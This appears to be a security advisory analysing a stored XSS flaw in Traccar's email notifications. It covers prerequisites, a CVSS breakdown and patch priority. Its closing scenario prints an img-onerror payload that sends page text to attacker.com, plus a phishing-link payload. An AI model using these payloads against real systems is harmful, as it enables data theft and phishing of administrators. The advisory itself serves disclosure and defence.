Traccar EUVD-2026-27309

Exploitation requires: (1) a valid Traccar user account with low-privilege permissions sufficient to create or modify device, geofence, or driver name fields; (2) access to the Traccar web interface or API endpoints that update these object properties; (3) at least one other user with permission to view notifications for the modified objects (typically higher-privilege administrators or team members); and (4) a notification trigger event (geofence entry/exit, alert condition, etc.) that causes an email to be sent to the target user. The vulnerability does NOT require special non-default configuration-it affects all Traccar deployments using the email notification feature with the affected versions (6.11.1-6.12.x). Authentication is required (PR:L in CVSS), ruling out unauthenticated exploitation. Email rendering by the recipient is required (UI:R), limiting impact to users who actually read the HTML email. The attack is limited to phishing, spoofing, or XSS within the email context-it does not achieve remote code execution on the Traccar server or grant the attacker elevated privileges in the system itself.

CVSS 5.4 (Medium) reflects the moderate severity: network-accessible (AV:N), low attack complexity (AC:L), requires low privileges (PR:L), and requires user interaction (UI:R-the recipient must open the HTML email). The impact is limited to confidentiality and integrity (C:L/I:L), with no availability impact. The UI:R requirement (email must be read/rendered) and PR:L (attacker must have low-privilege access to create/modify objects) reduce real-world risk compared to unauthenticated or UI-free XSS. However, EPSS data is not provided, and no KEV or POC status is confirmed in the input, so automated exploitation probability is unknown. The realistic threat depends on deployment context: in a multi-tenant or public-facing Traccar instance, a low-privilege user could persistently inject phishing content targeting higher-privilege administrators or other fleet managers. The stored nature of the XSS is more dangerous than reflected variants because defenders cannot easily filter user input at the perimeter. The attack requires both account access (PR:L) and relies on targets opening emails (UI:R), which limits the scope compared to higher-severity XSS. Given the low privilege requirement and persistent nature, this should be prioritized for patching but is not a critical emergency.

A low-privilege user with access to create or edit devices in a Traccar fleet management system injects HTML payload into a device name field, such as '<img src=x onerror="fetch('http://attacker.com?admin_email='+document.body.innerText)">', or a phishing-like payload such as '<a href="http://phishing.com">Click here to re-authenticate</a>'. When the device triggers a geofence exit or entry notification, Traccar generates an email to fleet administrators containing this unescaped HTML. The administrator's email client renders the HTML, either executing the JavaScript (in web-based email) or displaying the crafted link/image, enabling credential theft or redirection to a phishing site. No special user interaction beyond opening the email is required in many email clients.